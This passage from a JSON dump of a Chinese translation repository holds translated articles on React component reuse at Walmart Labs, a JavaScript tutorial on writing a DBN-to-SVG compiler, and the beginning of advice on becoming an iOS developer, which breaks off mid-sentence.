Python 社区可以接纳并将其推广到各种库和框架中区，可以使我们都能够受益于 Python 异步编程带来的好处！\n"
  },
  {
    "path": "TODO/how-to-achieve-reusability-with-react-components.md",
    "content": "> * 原文地址：[How to Achieve Reusability with React Components](https://medium.com/walmartlabs/how-to-achieve-reusability-with-react-components-81edeb7fb0e0#.czocsk5l0)\n* 原文作者：[Alex Grigoryan](https://medium.com/@lexgrigoryan?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[aleen42](https://github.com/aleen42)\n* 校对者：[vuuihc](https://github.com/vuuihc)、[sqrthree](https://github.com/sqrthree)、[xiaoheiai4719](https://github.com/xiaoheiai4719)\n\n# 如何实现 React 组件的可复用性 #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*5jIE1tOzVSuz5NPHsfeQ8w.png\">\n\n可复用性一词是当今软件工程领域上最为常见的流行词之一。可复用性早已成为大量不同框架、工具乃至模型都需要承诺的一种特性，且每一个所实现的方式与对该特性的诠释都各不相同。\n\n### 那么，可复用性到底指的是什么？ ###\n\n真正的可复用性指的并非是一种特定的流程，而是一个开发策略。因而，在构建可复用组件时，开发者必须得把可复用性牢记在脑海里。因为，这将涉及到无比细致的规划及善解人意的 API 设计。再者，既然可复用性早已被现代的开发工具与框架所支持且倡导，那么我们就不能仅仅通过单一的技术手段去实现该特性 —— 而需要开发团队之间的一致实现过程以及一个机构（Organizations）所有层面上的技术约定。\n\n因此，当我们谈及可复用性时，这并不仅仅只是一场技术性的讨论。相反，它往往还会综合有公司的文化、培训以及其他很多的要素。其中部分的要素还会在本文中所触及，可关键点在于**可复用性是一个会触及到方方面面的过程，包括开发的各个阶段与一个机构中的各个层面。**\n\n由于沃尔玛（Walmart）公司旗下包含有若干个品牌，其中包括山姆俱乐部（Sam’s Club）、阿斯达（Asda）以及一些地区分支，如沃尔玛（加拿大）与沃尔玛（巴西）等，因此，大量的前端应用会穿插在不同的品牌之间运行且由上百名开发者进行构建与维护。\n\n也正是因为每一个品牌都会拥有着属于自己的线上品牌容貌，且开发者往往需要在一个所有沃尔玛品牌都共通的组件上工作 —— 例如，图片轮播（Image Carousel）、像面包屑（Bread Crumbs）的导航式元素、弹框和信用卡 Form 组件等。因而，往往就会存在有重复工作的现象。可众所周知的是，重复地去完成别人已完成的事情只是在浪费时间与金钱，且会增加问题所出现的机率。因此，只要能消除这样的重复性工作，开发者就能把更多的时间花费在用户体验的提升上面。\n\n当然，也许你会说对于后端来说，在不同的品牌间共享代码会使得事情变得更为直观：即一个单一的服务器能处理来自不同品牌的多个请求，并返回对应品牌的精确数据（基于数据形式的处理方法并非只有一个）。可你是否曾想到，对于前端来说，这样的情况就会变得更为复杂。因为这将涉及到对后端所提供的数据进行提取，并把主题及其他信息准确地应用到一个特定的品牌和视图上。所以，共享代码尽管能促进组件的复用，但这并不能完全地去解决问题。\n\n### @沃尔玛实验室（@WalmartLabs）对 React 组件的复用 ###\n\n关于网站 Walmart.com 的构建，React 是我们当初所选择的前端框架。至于为何作出这样的抉择，其中一个原因在于其组件模型能为代码的复用提供一个好的起始点，尤其是当我们需要结合 Redux 来管理 State。尽管如此，Walmart 的体量对前端代码的复用仍然会带有显著的挑战。\n\n### 共享代码的技术可能性 ###\n\n共享代码所涉及的首个技术挑战是 —— 组件需要能被版本化，且易于安装及升级。对此，我们会把所有的 React 组件放置在一个分离的 GitHub 机构（Organizations）中。可目前，尽管组件已被打包放入至创建团队的仓库中，但我们仍然需要把部分的组件移至按功能分类的仓库，如“导航栏”仓库会包含有面包屑、标签及侧导航链接组件。然后，组件就会被发布至我们的私有 npm 仓库。这也就意味着开发者能非常容易地安装一个具有特定版本的组件，并保证其程序不会因版本的升级而突然抛锚。\n\n至此，既然代码能在团队间进行共享，那么，不管组件的依赖是否更新或替换，我们都需要保证其结构与代码的一致性。这也就是为什么我们要为[组件](https://github.com/electrode-io/electrode/tree/master/packages/electrode-archetype-react-component)与[应用](https://github.com/electrode-io/electrode/tree/master/packages/electrode-archetype-react-app)创造出 [Electrode 原型](http://www.electrode.io/docs/what_are_archetypes.html)。该原型不仅包含有用于代码规范、转译及封装的配置文件，而且还提供有用于管理核心代码依赖与任务/脚本的核心。这样一来，从一个通用的结构开始，建立起项目间一致的代码标准就能使得机构能维持有最好的现代化实践，且能同时增强开发者间的编程信心，与提高可复用组件所真正被复用的机会。此外，一个包含有代码规范、性能估算与多设备、多平台及多分辨率测试的稳定持续集成/持续部署（Continuous Integration/Continuous Deployment）系统同样会起到进一步的促进效果。详细来说，持续集成系统会在 PR 请求提交时包含有所有的规则，并发布一个 beta 测试版本，以供所有相关程序测试。这样的话，就能保证此次 PR 不会影响到任何的地方。\n\n### 元队（The Meta Team） ###\n\n在项目初期，由于大部分的共享组件是由少量的团队所贡献完成的，因而它们更新迭代的速度会变得越来越快。从而最终导致我们不得不选择少部分对 Electrode 原型与沃尔玛内部具有深入了解的开发者，来创造出我们所称作的“元队”。而被选中的人会在数周内抽出若干小时乃至一整天的时间去对机构中正在运行的组件代码进行审查，以确保开发者能遵循实践，并尽可能地协助他们去解决问题。此外，该团队还会就机构中所构建的东西总结出一整套知识体系，并充当着使者的角色去为自己团队中采用 [Electrode](http://www.electrode.io/) 原型的项目提供服务。而且，元队成员还会把关于原型修改待决的部分信息带至自己的团队中，以收集回馈并与 Electrode 原型的核心开发团队进行分享和探讨。\n\n尽管，好的开始是成功的一半。但作为一个机构，我们仍然能看到代码复用更进一步的提升空间。\n\n### 上百个组件的暴露性问题 ###\n\n随着共享主题的策略实施，我们开始注意到 Slack 频道上所涌现出来的大量信息。开发者希望能有一种方式去得知是否已经有现有的组件能完成一个特定的任务，UX 团队希望能查看到哪些组件是可用的，而项目经理则希望能查看到哪些组件是其他团队正在构建中的。也就是说，所有这些信息所围绕的共同焦点就在于组件是否能被暴露。针对于此，我们迫切需要一种快速且简单的方法，去发现可用的组件并查看它们的使用情况。从而能与这些组件进行交互，以了解它们的实现、配置及依赖。\n\n那么，问题答案就在于[我过去曾写文讨论的一样东西 —— Electrode 勘探器](https://medium.com/walmartlabs/spotlight-on-electrode-explorer-react-component-reuse-without-the-hassle-6447763365b2#.etp9o5wr0)。开发者通过该勘探器不仅能浏览到@沃尔玛实验室中上百个可用的组件及其文档，而且还能浏览到组件的版本提交记录，以查看其各阶段的代码修改情况。正是因为 Electrode 勘探器能提供机构中所有组件的 Web 接口，因而开发者此时已不再需要键入 `npm install` 来查看并使用组件。\n\n### 缝隙间所溢出的重复组件 ###\n\n尽管，所有的这些工具与工作流程都是在促进代码的复用，但问题依旧存在。而其中一点就是，开发团队在开发新组件时往往会忽略掉组件对其他团队所起到的作用。倘若组件没有被涵盖在可复用的生态系统当中，那么，这就意味着该组件无法被其他人复用。即便是存在于同一套共享组件系统，大量重复或一些对相似问题采用不同解决办法的组件依旧存在。因而，我们这才意识到技术手段并非能完全地解决问题。所以，此时此刻我们需要的是一种办法。它不仅能广泛地改变公司人员的思考方式，而且还能使得所有层面的工作人员都能事事以可复用性当先。这也就包括了花费时间去对之前的组件进行归纳总结，以便复用变得更为简单；在已有组件的基础上进行扩展，而不是从零开始；不断地去寻找机会来尽可能地与外界共享代码。\n\n为了协助思想上的这种改变，我们创建了一套组件开发的提案流程。在此系统下，开发者需要在工作开始前先讨论关于新组件的一切事宜，以便机构中的其他团队能根据此事来推荐出已有的解决方案或可选方法。这样，机构中的其他人也就能知道发生着怎样的事情。\n\n> **实践证明，在开发过程当中采用该种提案系统能有效地帮助我们解决缝隙间所溢出的重复组件问题。**\n\n### 持续集成/持续部署系统的重要性 ###\n\n过去，我们曾遇到过这样的一个重大的问题：一个团队在组件上的开发可能会导致其他团队的程序抛锚。换而言之，如果你不对组件的版本进行锁定，持续集成/持续部署系统可能会因为组件被其他团队所修改，而导致出错 —— 这是一个非常糟糕的感觉。甚者还会到导致大量团队需要封锁自身组件至一个特定的版本，而无法使用新的补丁版本。\n\n这也就是为何我们需要引入一个稳定的持续集成/持续部署系统。当一个组件版本更新时，不管其他重要的程序是否对该组件的版本进行锁定，系统中的自动装置都会去检查本次更新是否会导致程序主版本的崩溃。若无，则生成一个 PR 请求去更新锁定的版本至最新版本号；而若有，则通知涉事团队双方去检讨问题的所在。\n\n### 内部资源 ###\n\n关于提高 React 组件可复用性的这些方法都是基于 [Laurent Desegur](https://twitter.com/ldesegur) 早前[写文](https://medium.com/walmartlabs/beyond-open-source-walmartlabs-e690c934fe35#.lqc0e6x3b)所描述的关于开放资源/内部资源哲学思想的一些领会。随着像 Hapi、[OneOps](https://github.com/oneops) 与 [Electrode](https://github.com/electrode-io) 等一些项目的展现，可以看到@沃尔玛实验室在过去几年已逐渐成为开源征途上的使用者及贡献者。尽管，在公司外面的人看来，我们对内部资源看似甚少贡献，即那些基于开源模型所开发的内部程序。但是，对于内部资源来说，并没有任何一个团队或成员会真正地“拥有”一个组件。换句话说，所有的组件是共享在整个机构当中的，而这也就意味着能消除开发的瓶颈并驱使开发者去提升已有组件的质量。\n\n采用这样的策略不仅能很好地提高组件复用的机率，而且更为重要的是，还能为我们的开发者及开发协作的哲学思想提供有一定指引。而且，策略一定程度上能驱使开发者把自己的时间和专业知识使用在最需要的地方，而不是静待技术瓶颈的消除。这样的话，他们就能以真实且可量化的方式让公司受益。\n\n### 总结 ###\n\n可复用性不仅是一种技术性的决策，而且还是一种需要机构性保障，且具有深远意义的哲学思想。通过@沃尔玛实验室这个例子，我们就可以清晰地看到其所产生的效益是何等巨大。如今，开发者们也正在把 SamsClub.com 移植到 [Electrode 平台](https://github.com/electrode-io)上，并复用数百个来自 Walmart.com 的组件去匹配山姆俱乐部的品牌容貌。\n\n当然，最后你也可以跟我们分享一下自己关于可复用性的一些故事，包括当中遇到了哪些阻碍？怎么去解决？以及你所能看到的哪些更深层次的提升？\n"
  },
  {
    "path": "TODO/how-to-be-a-compiler-make-a-compiler-with-javascript.md",
    "content": "> * 原文地址：[How to be* a compiler — make a compiler with JavaScript](https://medium.com/@kosamari/how-to-be-a-compiler-make-a-compiler-with-javascript-4a8a13d473b4#.r832qh7i8)\n* 原文作者：[Mariko Kosaka](https://medium.com/@kosamari)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[rottenpen](https://github.com/rottenpen)，[xiaoheiai4719](https://github.com/xiaoheiai4719)\n\n# 成为一个编译器之「使用 JavaScript 来制作编译器」\n\n\n\n\n\n\n\n\n对的！你应该**成为**一个编译器。这很棒！\n\n布希维克，布鲁克林，一个很棒的周日。我在书店里发现了一本书 [John Maeda 写的 “Design by Numbers” ](https://mitpress.mit.edu/books/design-numbers)。在这本书里有 [DBN 编程语言](http://dbn.media.mit.edu/) 一步步的指令——这是一种 90 年代末期被 MIT 媒体实验室创造出来的语言，它被设计出来，以可视化的方式介绍计算机编程概念。\n\n![](https://cdn-images-1.medium.com/max/1600/1*l2yQRbwlojZhNyEJi8uVDA.png)\n\n\n\n这是 DNB 代码示例 [http://dbn.media.mit.edu/introduction.html](http://dbn.media.mit.edu/introduction.html)。\n\n我马上想到，用 DBN 制作出 SVG 并将它放在浏览器里执行，在 2016 年这个年头，一定比安装 Java 环境来执行原生的 DBN 源代码要来得有趣。\n\n我意识到我需要写一个 DBN 到 SVG 的编译器，所以写编译器的探索之路开始了。**「制作一个编译器」听起来很计算机科学……但是我从没在代码面试中遍历过节点，我真能造出一个编译器？**\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*mihwNKQqerkXUZ4GQhqgsg.png)\n\n\n\n我想象中的编译器，应该是代码需要被严格对待的。如果代码写得很差，它将永久地陷在错误信息里。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 让我们先尝试着成为一个编译器\n\n编译器是一种接收一段代码然后把它转成一些别的什么的机制。让我们编译简单的 DBN 代码到实质的画上。\n\n在这段 DBN 代码中有 3 个指令，「Paper」定义了纸的颜色，「Pen」定义了笔的颜色，「Line」画出来一条线。100 在颜色参数中代表着 100% 的黑色或者 CSS 中的 rgb(0%, 0%, 0%)。DBN 生成的图片总是用灰度表示的。在 DBN 中，一张纸总是 100 × 100，线条宽度总是 1，线段用起点和终点相对于左下角的 x 、y 坐标来定义。\n\n让我们先尝试着变成一个编译器。停在这里，拿一张纸和一支笔，然后尝试着编译下面的画图代码：\n\n    Paper 0\n    Pen 100\n    Line 0 50 100 50\n\n你在纸的中间，从左到右地画出来一条黑色的线了吗？恭喜！你刚刚变身成了一个编译器！\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*aDJskliFHSIIfYhr8aN3UA.png)\n\n\n\n编译结果\n\n### 编译器是怎么工作的？\n\n让我们看看刚刚在我们作为编译器的脑袋里发生了什么。\n\n#### 1\\. 词法分析（标记化）\n\n首先我们做的就是将每个关键字（称为标记）用空格分开。当我们分割单词时，我们也将原始类型赋给每个标记，比如「单词」或者「数字」。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*lM4hjuI28Dodn-DfnXQu4A.png)\n\n\n\n词法分析\n\n#### 2\\. Parsing (语法分析)\n\n当一堆文本被分割成标记后，我们遍历这些标记，尝试去找它们之间的关系。\n在这种情况下，我们将数字和与其相联系的命令关键字分为一组。通过这么做，我们开始观察代码的结构。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Masaunh04PyclWIGhztHmg.png)\n\n\n\n语法分析\n\n#### 3\\. 转换\n\n一旦我们完成了语法分析，我们需要将结构转换成更适合于最终结果的。在本文情况下，我们将要画一张图，所以我们要将它转换成对人类的一步步的指令。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*ExV6vUNKZ4-IpG15-CAeFw.png)\n\n\n\n转换\n\n#### 4\\. 代码生成\n\n最后，我们生成一个编译结果，一幅画。在这个环节，我们只是遵循我们在之前的步骤里生成的指令来画画。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*250m-6zI6slTBirOxHX7kw.png)\n\n\n\n代码生成\n\n这就是编译器做的事情啦！\n\n我们生成的画就是编译结果（就好像你编译 C 语言时的 .exe 文件）。我们可以将这幅画给任何人或者任何设备（扫描仪、相机等）传阅，来「执行它」，所有人（或设备）将会看到一条居中黑线。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 让我们制作一个编译器\n\n现在既然我们知道了编译器是怎么工作的，让我们用 JavaScript 来制作一个。这个编译器接收 DBN 代码并将它转成 SVG 代码。\n\n#### 1\\. 词法分析器函数\n\n就像我们将英语句子「I have a pen」分割成 [I, have, a, pen] 一样，词法分析器将一段代码字符串分割成小的有意义的块（标记）。在 DBN 里，每个标记都被空格分隔开，并且被分成「单词」或是「数字」。\n\n\n\n\n\n    function lexer (code) {\n      return code.split(/\\s+/)\n              .filter(function (t) { return t.length > 0 })\n              .map(function (t) {\n                return isNaN(t)\n                        ? {type: 'word', value: t}\n                        : {type: 'number', value: t}\n              })\n    }\n\n\n\n\n\n    input: \"Paper 100\"\n    output:[\n      { type: \"word\", value: \"Paper\" }, { type: \"number\", value: 100 }\n    ]\n\n#### 2\\. 语法分析器函数\n\n语法分析器遍历每个标记，寻找语法信息，并且构建一个叫做 AST（Abstract Syntax Tree，抽象语法树）的对象。你可以把 AST 想成一幅代码地图——这是理解一段代码如何架构的方式。\n\n在我们的代码里，有 2 个语法类型「NumberLiteral」和「CallExpression」。NumberLiteral 意味着值是个数字，它作为参数被 CallExpression 使用。\n\n\n\n\n\n    function parser (tokens) {\n      var AST = {\n        type: 'Drawing',\n        body: []\n      }\n      // 一次提取一个标记，作为 current_token，一直循环，直到我们脱离标记。\n      while (tokens.length > 0){\n        var current_token = tokens.shift()\n\n        // 既然数字标记自身并不做任何事情，我们只要在发现一个单词时分析它的语法。\n        if (current_token.type === 'word') {\n          switch (current_token.value) {\n            case 'Paper' :\n              var expression = {\n                type: 'CallExpression',\n                name: 'Paper',\n                arguments: []\n              }\n              // 如果当前标记是以 Paper 为类型的 CallExpression，下一个标记应该是颜色参数\n              var argument = tokens.shift()\n              if(argument.type === 'number') {\n                expression.arguments.push({  // 在 expression 对象内部加入参数信息\n                  type: 'NumberLiteral',\n                  value: argument.value\n                })\n                AST.body.push(expression)    // 将 expression 对象放入我们的 AST 的 body 内\n              } else {\n                throw 'Paper command must be followed by a number.'\n              }\n              break\n            case 'Pen' :\n              ...\n            case 'Line':\n              ...\n          }\n        }\n      }\n      return AST\n    }\n\n\n\n\n\n    input: [\n      { type: \"word\", value: \"Paper\" }, { type: \"number\", value: 100 }\n    ]\n    output: {\n      \"type\": \"Drawing\",\n      \"body\": [{\n        \"type\": \"CallExpression\",\n        \"name\": \"Paper\",\n        \"arguments\": [{ \"type\": \"NumberLiteral\", \"value\": \"100\" }]\n      }]\n    }\n\n#### 3\\. 转换器函数\n\n我们在上一步创建的 AST 很好地描述了代码里发生的事情，但是它对于创建 SVG 文件没有什么用处。\n比方说，「Paper」是一个只存在于 DBN 思维方式里的概念，在 SVG 中，我们可能用元素（element）来表示一个「Paper」。转换器函数将 AST 转换成另一种对 SVG 友好的 AST。\n\n\n\n\n\n    function transformer (ast) {\n      var svg_ast = {\n        tag : 'svg',\n        attr: {\n          width: 100, height: 100, viewBox: '0 0 100 100',\n          xmlns: 'http://www.w3.org/2000/svg', version: '1.1'\n        },\n        body:[]\n      }\n\n      var pen_color = 100 // 默认钢笔颜色为黑\n\n      // 一次提取一个调用表达式，作为 `node`。循环直至我们跳出表达式体。\n      while (ast.body.length > 0) {\n        var node = ast.body.shift()\n        switch (node.name) {\n          case 'Paper' :\n            var paper_color = 100 - node.arguments[0].value\n            svg_ast.body.push({ // 在 svg_ast 的 body 内加入 rect 元素信息\n              tag : 'rect',\n              attr : {\n                x: 0, y: 0,\n                width: 100, height:100,\n                fill: 'rgb(' + paper_color + '%,' + paper_color + '%,' + paper_color + '%)'\n              }\n            })\n            break\n          case 'Pen':\n            pen_color = 100 - node.arguments[0].value // 把当前的钢笔颜色保存在 `pen_color` 变量内\n            break\n          case 'Line':\n            ...\n        }\n      }\n      return svg_ast\n     }\n\n\n\n\n\n    input: {\n      \"type\": \"Drawing\",\n      \"body\": [{\n        \"type\": \"CallExpression\",\n        \"name\": \"Paper\",\n        \"arguments\": [{ \"type\": \"NumberLiteral\", \"value\": \"100\" }]\n      }]\n    }\n\n    output: {\n      \"tag\": \"svg\",\n      \"attr\": {\n        \"width\": 100,\n        \"height\": 100,\n        \"viewBox\": \"0 0 100 100\",\n        \"xmlns\": \"http://www.w3.org/2000/svg\",\n        \"version\": \"1.1\"\n      },\n      \"body\": [{\n        \"tag\": \"rect\",\n        \"attr\": {\n          \"x\": 0,\n          \"y\": 0,\n          \"width\": 100,\n          \"height\": 100,\n          \"fill\": \"rgb(0%, 0%, 0%)\"\n        }\n      }]\n    }\n\n#### 4\\. 生成器函数\n\n作为这个编译器的最后一步，生成器函数基于我们上一步产生的新 AST 生成了 SVG 代码。\n\n\n\n\n\n    function generator (svg_ast) {\n\n      // 从 attr 对象中创建属性（attribute）字符串\n      // 使得 { \"width\": 100, \"height\": 100 } 变成 'width=\"100\" height=\"100\"'\n      function createAttrString (attr) {\n        return Object.keys(attr).map(function (key){\n          return key + '=\"' + attr[key] + '\"'\n        }).join(' ')\n      }\n\n      // 顶端节点总是 <svg>。为 svg 标签创建属性字符串\n      var svg_attr = createAttrString(svg_ast.attr)\n\n      // 为每个 svf_ast body 中的元素，生成 svg 标签\n      var elements = svg_ast.body.map(function (node) {\n        return ''\n      }).join('\\n\\t')\n\n      // 使用开和关的 svg 标签包装来完成 svg 代码\n      return '\\n' + elements + '\\n'\n    }\n\n\n\n\n\n    input: {\n      \"tag\": \"svg\",\n      \"attr\": {\n        \"width\": 100,\n        \"height\": 100,\n        \"viewBox\": \"0 0 100 100\",\n        \"xmlns\": \"http://www.w3.org/2000/svg\",\n        \"version\": \"1.1\"\n      },\n      \"body\": [{\n        \"tag\": \"rect\",\n        \"attr\": {\n          \"x\": 0,\n          \"y\": 0,\n          \"width\": 100,\n          \"height\": 100,\n          \"fill\": \"rgb(0%, 0%, 0%)\"\n        }\n      }]\n    }\n\n    output:\n    <svg width=\"100\" height=\"100\" viewBox=\"0 0 100 100\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\">\n      <rect x=\"0\" y=\"0\" width=\"100\" height=\"100\" fill=\"rgb(0%, 0%, 0%)\">\n      </rect>\n    </svg>\n\n\n\n\n#### 5\\. 将它们放在一起，作为一个编译器\n\n让我们把这个编译器称为「sbn 编译器」（SVG by numbers 编译器）。\n我们创建了一个带有词法分析器、语法分析器、转换器和生成器方法的 sbn 对象，然后添加了一个叫做「compile」的方法来链式调用这四个方法。\n\n我们现在可以将代码串传给「compile」方法，得到 SVG。\n\n\n\n\n\n    var sbn = {}\n    sbn.VERSION = '0.0.1'\n    sbn.lexer = lexer\n    sbn.parser = parser\n    sbn.transformer = transformer\n    sbn.generator = generator\n\n    sbn.compile = function (code) {\n      return this.generator(this.transformer(this.parser(this.lexer(code))))\n    }\n\n    // 调用 sbn 编译器\n    var code = 'Paper 0 Pen 100 Line 0 50 100 50'\n    var svg = sbn.compile(code)\n    document.body.innerHTML = svg\n\n\n\n\n\n我做了一个 [互动演示](https://kosamari.github.io/sbn/)，其中展示了这个编译器里每一步的结果。这个 sbn 编译器的代码放在 [github](https://github.com/kosamari/sbn) 上，我目前正在给它添加更多的特性。如果你想要检查我们在这篇文章中的基本编译器的画，请切换到 [简单分支](https://github.com/kosamari/sbn/tree/simple)。\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*7ADpMcLo1VOnW4-fF2vjDg.png)\n\n\n\n[https://kosamari.github.io/sbn/](https://kosamari.github.io/sbn/)\n\n### 难道一个编译器不应该使用递归或者遍历之类的吗？\n\n是的，那些是制作一个编译器需要的所有棒棒哒技术，然而这并不意味着你需要先使用那些做法。\n\n我从为 DBN 编程语言的一个小子集（一个非常有限的小特征集）制作编译器开始，扩展范围，现在正准备向这个编译器上添加一些诸如变量、代码块和循环这样的特性。现在这个时候使用那些技术是一个好的想法，但是那些技术并不是刚开始就要用到的。\n\n### 写编译器超棒的\n\n你可以通过制作你自己的编译器来做些什么？也许你想要用西班牙语制作一个新的类 JavaScript 语言……\n\n    // ES (español script)\n    función () {\n      si (verdadero) {\n        return «¡Hola!»\n      }\n    }\n\n这里有一些人，他们用 [Emoji (Emojicode)](http://www.emojicode.org/) 和 [色块 (Piet 编程语言)](http://www.dangermouse.net/esoteric/piet.html) 制作了编程语言。可能性永无止境！\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n### 从制作一个编译器中学到的\n\n 制作编译器很有趣，但最重要的是，它教了我很多软件开发方面的知识。下面是一些我在制作自己的编译器中学到的东西。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*AREFc7UVIAu_YIgk46EwaA.png)\n\n\n\n在制作了一个我自己的编译器后我是怎么想象编译器的\n\n#### 1\\. 有一些不熟悉的东西很正常。\n\n像我们的词法分析器一样，你不必要从刚开始就知道所有的事情。如果你真的不懂一段代码或者技术，只说一句「这有个东西，我只知道这么多了」，然后将它放到下一个步骤去做，也是挺好的。不要对这个事情有压力，你最终会明白它的。\n\n#### 2\\. 不要变成一个只发送坏的错误消息的混蛋。\n\n语法分析器的功能是遵循规则、检查代码是不是按照那些规则写的。所以，错误会发生，很多次。当错误发生时，尝试着去发送一些有用的、欢迎式的信息。说「它不是那么工作的」（比如 JavaScript 里的「不合法标记」或者「undefined 不是个函数」错误）当然很简单，但是，请尽量多地告诉用户原本应该发生什么。\n\n这在团队沟通中也有效。当某个人被困在一个问题中的时候，不要说「耶那没有用的」，可能你可以从说「如果是我，我会谷歌关键字 XXX 和 XXX」或「我推荐你读文档上的这一页」开始。你不必为他们做这些工作，但是你可以通过提供一些小的帮助来让他们工作得更好更快。\n\nElm 是一个 [拥抱这种方法](http://elm-lang.org/blog/compiler-errors-for-humans) 的编程语言。它们将「也许你想试试这个？」放在它们的错误信息里。\n\n#### 3\\. 背景就是一切\n\n最后，就像我们的转换器一样，将一种类型的 AST 转换成另一种更加适合的，来用于最终的结果，所有的事情都是指定背景的。\n\n没有一个总是完美的做事方式。所以不要因为某件事情很流行或者你以前做过就只做它，首先想想它的背景。对一个用户可行的事情可能对另一个用户是一场灾难。\n\n同时，欣赏转换器做的那些工作。你可能知道你的团队里的那些好的转换器——某个非常擅长为鸿沟搭桥梁的人。转换器做的那些工作不是直接地创建代码，但都是在生产优秀产品时不可或缺的工作。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n希望你享受这篇文章，希望我可以说服你制作 & 成为一个编译器有多么棒！\n"
  },
  {
    "path": "TODO/how-to-become-an-ios-developer-bob.md",
    "content": "> * 原文地址：[How to become an iOS developer, Bob](https://medium.com/ios-geek-community/how-to-become-an-ios-developer-bob-82944188ea7d#.dpn3k2gk1)\n* 原文作者：[Bob Lee](https://medium.com/@bobleesj?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[thanksdanny](https://github.com/thanksdanny)\n* 校对者：[zhouzihanntu](https://github.com/zhouzihanntu), [xuxiaokang](https://github.com/xuxiaokang)\n\n# Bob，我要怎样才能成为一名 iOS 开发者 #\n\n\n## iOS 开发虽不易，但别怕尽管上就是了。 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*65b3tcODklio-5koqOe0dA.png\">\n\n然而这并不是我的桌面\n\n### 自我驱动 ###\n\n我经常收到类似的邮件跟私信，\n\n**“Bob，我怎样才能成为一个超酷的开发者？”**\n\n**“Bob，我想转行了。我好喜欢你的文章跟视频。我要怎样才能成为一个 iOS 开发者呢？”**\n\n**“Bob，我不知道应该如何开始学。而且我之前也从来没写过代码，你能帮帮我吗？”**\n\n\n好啦我知道啦。但我会实话实说。我尽量去回答这些一般问题。我叫这种问题叫做 **“今天天气如何?”** 。这（些问题）毫无意义。这只说明缺少准备。我发现我自己在不断重复啦。\n\n如果我是我身边的朋友问这些，我大概会怼他们了，\n\n> “哥们，你有自己去 oogle 搜吗？已经查过的话，那就继续 google 啊。” - 我\n\n虽说如此，我意识到我还是可以通过这篇文章分享我一些小小的见解的。这样当再有人问我类似的问题的时候，我就可以直接说，“先去看看我的这篇文章，还有问题再来问我 :)”。\n\n***免责声明：*** **这文章只是表达我个人的想法，可能还会存在错误的地方，因为我有时也会带有一些偏见。我只能分享一些 Swift 相关的经验，毕竟这是我的第一门编程语言。信不信由你啦**\n\n\n### 1. 放松，慢慢去了解基础原理 ###\n\n我也是过来人，当我最开始学 iOS 的时候，我只能想象它就像是一个庞然大物。我买了一些线上课程还有一些书 -“**让你做出 18 个应用与成为付费 iOS 开发者的唯一课程**！” - 当时我就迷上了！太牛逼了！\n\n在我完全不知道 `super`, `!`, `?` , `as`, `if let` 这些关键词代表什么意思的时候，我就成为了一只程序猿，像丧尸一般不停地写代码。如果你正处在这个阶段，**那就先学 Swift 吧**，虽然这跟 iOS 没有太大关系。但这是在为以后的学习打好基础。同样道理，在你学会写文章出书之前，你必须先学会语法跟字母表。相信我，只要坚持你也能将这本“书”出版的！\n\n如果你还不清楚 Swift 下的这些概念，去看 Xcode 左侧的那些红色标记。确保你理解，\n\n`delegate``extension``Protocol``optionals``super``generics``type casting``error handling``enum``closures``completion handlers``property observer``override``class vs struct`\n\n别担心啦，我已经将成为一名 iOS 开发者的所有要点总结在这里了。\n\n#### 资源 ####\n\n所有的教程都在([Personal Journey Note](https://bobleesj.gitbooks.io/bob-s-learning-journey/content/WORK.html))\n\n**如果你还没完全掌握面向对象编程，就不要尝试去学习函数式编程，面向协议编程了。**\n\n### 2. 不要苦于去理解全部，相反地，要找到适合你的学习模式。 ###\n\n这实际上视你对 Swift 的核心概念的熟悉程度而定，何况你正在学习 iOS 的生态系统。\n\n你根本不需要清楚 iOS 中的全部知识。实际上知识量太庞大了。要学这么多的类跟框架已经够呛了，何况这些类和框架并不是开源的，我们开发者并不能详细地了解其中的实现细节。\n\n所以，我把 iOS 开发比作**微波炉操作**。你要做的只是阅读操作手册，但阅读手册的前提是，你能理解这些单词的含义和发现独特的操作模式。\n\n举个例子，当你去加热，你按下几个按钮后转盘开始旋转了，黄色的灯光开始照射在炉壁上。就是这么个道理，**他之所以这样去运行，是因为苹果的工程师已经将他的运行方式设计好了。** 但作为 iOS 开发者，你的工作就是知道为啥他们会这么做。再举个例子，我问，“这旋转的盘子是怎么让食物加热的？”。就像是这样，你其实并不需要知道电磁学的细节原理，虽然知道的话确实会有帮助。\n\n最后再举多个例子，我会问，为什么苹果的工程师要实现 `delegate` 模式与 `MVC`？学会去发掘他们的动机。如果你通过 google 得到了结果，那就坚持这么做吧！\n\n### 3. 多与 API 和文档打交道 ###\n\n当你熟悉 `delegate`,`protocol` 这些概念后，API 文档读起来就会变得更容易了。大部分指南，例如 [Bundle Programming Guide](http://bundle%20iOS%20guide)  还是用 Objective-C 写的。\n\n**不要担心**，你可以轻松地从 Objective-C 转到 Swift，点击 [这里](https://objectivec2swift.com/#/home/main) 查看。\n\n我常说学习 API 就像学习如何驾驶各种交通工具一样。例如，`UITableView` 和 `UICollectionView` 对比起来，就像驾驶单车跟摩托。使用 `NSURLSession` 